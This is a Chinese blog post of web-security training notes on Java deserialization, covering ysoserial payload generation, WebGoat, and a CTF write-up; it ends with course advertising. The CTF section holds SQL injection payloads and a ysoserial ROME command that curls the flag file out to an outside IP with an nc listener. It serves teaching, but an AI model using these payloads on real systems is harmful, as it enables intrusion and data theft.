V2022全栈培训笔记(WEB攻防47-WEB攻防-通用漏洞&Java反序列化&EXP生成&数据提取&组件安全)

第47天 WEB攻防-通用漏洞&Java反序列化&EXP生成&数据提取&组件安全

知识点:

1、Java反序列化演示-原生API接☐
2、Java反序列化漏洞利用-Ysoserial使用
3、Java反序列化漏洞发现利用点-函数&数据
4、Java反序列化考点-真实&CTF赛题-审计分析
#内容点:
1、明白Java反序列化原理
2、判断Java反序列化漏洞
3、学会-Ysoserial_工具使用
4、学会-SerializationDumper
5、了解-简要Java代码审计分析

#前置知识
序列化和反序列化的概念:
序列化:把Java对象转换为字节序列的过程。
反序列化:把字节序列恢复为Java对象的过程。
对象的序列化主要有两种用途:
把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)
在网络上传送对象的字节序列。(网络传输对象)

尽管 Java 反序列化和 PHP 反序列化在处理对象的序列化和反序列化过程中都存在类似的安全问题,但它们之间还是有一些不同的地方:
序列化格式不同:Java 使用了自己的序列化机制来支持对象的序列化和反序列化,而 PHP 通常使用基于文本的序列化格式(如
serialize 和 unserialize 函数)进行序列化和反序列化。 序列化器实现方式不同:Java 序列化器实现了
Serializable 接口,并通过反射机制获取对象的属性值进行序列化。而 PHP 序列化器没有统一的接口,而是通过魔术方法(如
__sleep() 和 __wakeup())和自定义函数进行序列化和反序列化。 对象类型的检查方式不同:Java
反序列化将对反序列化的对象进行类型检查,并且只会反序列化已知类型的对象。
PHP的反序列化器则没有这样的限制,攻击者可以构造序列化数据来欺骗反序列化器。 可重写方法的触发方式不同:Java
反序列化器通过特定的方法(例如readObject())来触发可重写方法,而 PHP 反序列化器需要在序列化字符串中包含 O:classname:
格式的元信息来实现。
综上所述,虽然 Java 反序列化和 PHP 反序列化存在一些不同,但它们都必须小心处理反序列化的输入数据,以避免导致安全漏洞。

函数接口:

Java:Serializable Extemalizable接☐、fastjson、jackson、gson、
ObjectInputStream.read,ObjectobjectInputStream.readUnshared,XMLDecoder.read.
ObjectYaml.loadXStream.fromXML.ObjectMapper.readValue.JSON.parseObject
PHP:serialize()unserialize()
Python:pickle

数据出现:
1、功能特性:
反序列化操作一般应用在导入模板文件、网例络通信、数据传输、日志格式化存储、对象数
据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
2、数据特性:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。

3、出现具体:
http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4s),Mll等
Servlets http,Sockets,Session管理器,包含的协议就包括:JMX,RMl,JMS,JND1等
(\xac\Xed)xm IXstream,XmldEcoder (http Body:Content-type:application/xml)
json0 ackson,fastison)http请求中包含

发现:
黑盒分析:数据库出现地-观察数据特性
白盒分析:组件安全&数搜索&功能模块
利用:
Ysoserials集成的jar包配合生成,特性的专业漏洞利用工具等

演示案例:

原生API -Ysoserial URLDNS使用
三方组件-Ysoserial支持库生成使用
解密分析-SerializationDumper数据分析
CTF赛题-[网鼎杯2020朱雀组]ThinkJava

#原生API-Ysoserial URLDNS使用
Serializable接口
Externalizable接口
没组件生成DNS利用:
https://github/com/frohoff ysoserial
java -jar ysoserial-0.0.6-SNAPSHOT-all jar URLDNS http://9ar7xl
anslog.cn">urldns.ser
思路:本地搭建序列化和反序列化操作,使用ysoserial
生成反序列化语句用来访问dnslog并保存到本地,当反序列化执行的对象为构造好的本地文件时,触发访问dnslog,造成信息外带。

#三方组件-Ysoserial支持库生成便用
https://github.com/WebGoat/WebGoat
此处讲解了wegooat靶场中Java反序列化关卡,首先通过抓包找到含有反序列化函数处,然后有两种,第一种结合原生类(比如
URLDNS)生成payload,第二种结合原生类hibernate生成payload(结合库文件生成的一般可以执行rce)

先结合库文件利用jar包生成特定payload,此处是利用hibemnate生成了弹出计算器的payload并保存到本地,然后将payload进行base64加密。有组件生成RCE1、生成:java-
Dhibernate5 cp hibemnate-core-5.4.9 Final jar ysoserial-0.0.6-
SNAPSHOT-all jar ysoseral.GeneratePayload Hibernate1 “calc.exe”>x bin
2、解码:python java py
import base64
file open(“x bin”“rb”)
now flle read()
ba base64 D64encode(now)
print ba
file ciosen)

思路:先通过sql注入获取后台管理员账号密码admin
admin@Rrrr_ctf_asde–然后通过账号密码测试接口确定当前登录信息–在验证用户信息处构造payload将flag发给vps。

0x01 注入判断,获取管理员帐号密码:

根据提示附件进行javaweb代码审计,发现可能存在注入漏洞

另外有swagger开发接口,测试注入漏洞及访问接口进行调用测试

数据库名:myapp,列名name,pwd

注入测试:

POST /common/test/sqlDict

dbName=myapp?a=’ union select (select name from user)#

dbName=myapp?a=’ union select (select pwd from user)#

0x02 接口测试

/swagger-ui.html接口测试:

{
“password”:“admin@Rrrr_ctf_asde”,

“username”: “admin”

}

登录成功返回数据:

{ “data”: “Bearer
rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”,
“msg”: “登录成功”, “status”: 2, “timestamps”: 1617614357281 }

0x03 回显数据分析攻击思路

JAVAWEB特征可以作为序列化的标志参考:

一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。

或者如果以aced开头,那么他就是这一段java序列化的16进制。

分析数据:

先利用py2脚本base64解密数据

import base64

a =
“rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”

b = base64.b64decode(a).encode(‘hex’)

print(b)

再利用SerializationDumper解析数据 java反序列化字节转字符串工具

java -jar SerializationDumper-v1.11.jar aced000xxxx

0x04 生成反序列化payload

解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作

利用ysoserial进行序列化生成

java -jar ysoserial-master-30099844c6-1.jar ROME “curl
http://47.94.236.117:4444/ -d @/flag” > flag.bin

利用py2脚本进行反序列化数据的提取

import base64

file = open(“flag.bin”,“rb”)

now = file.read()

ba = base64.b64encode(now)

print(ba)

file.close()

0x05 触发反序列化,获取flag

服务器执行:nc -lvvp 4444

数据包直接请求获取进行反序列数据加载操作

参考链接:https://blog.csdn.net/RABCDXB/article/details/124003575

如何入门网络安全
建议

多看书

阅读永远是最有效的方法,尽管书籍并不一定是最好的入门方式,但书籍的理解需要一定的基础;但是就目前来看,书籍是比较靠谱的入门资料。

现在Web安全书籍比较多,因此大家在学习的过程中可以少走了不少的弯路。如果以上推荐书籍阅读有困难,那就找自己能看得进的 Web 安全的书

当然纸上谈兵终觉浅,最好还是实践一下。

对于那些没有学习方向和资料的同学,可以看下我整理的资源,这份资料经历过社会的实践,可以说是当下全网较全的网络安全知识体系:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

![在这里插入图片描述](https://img-

blog.csdnimg.cn/img_convert/9ede1cd6e7941f1564712a720b316034.jpeg)

如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 4
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值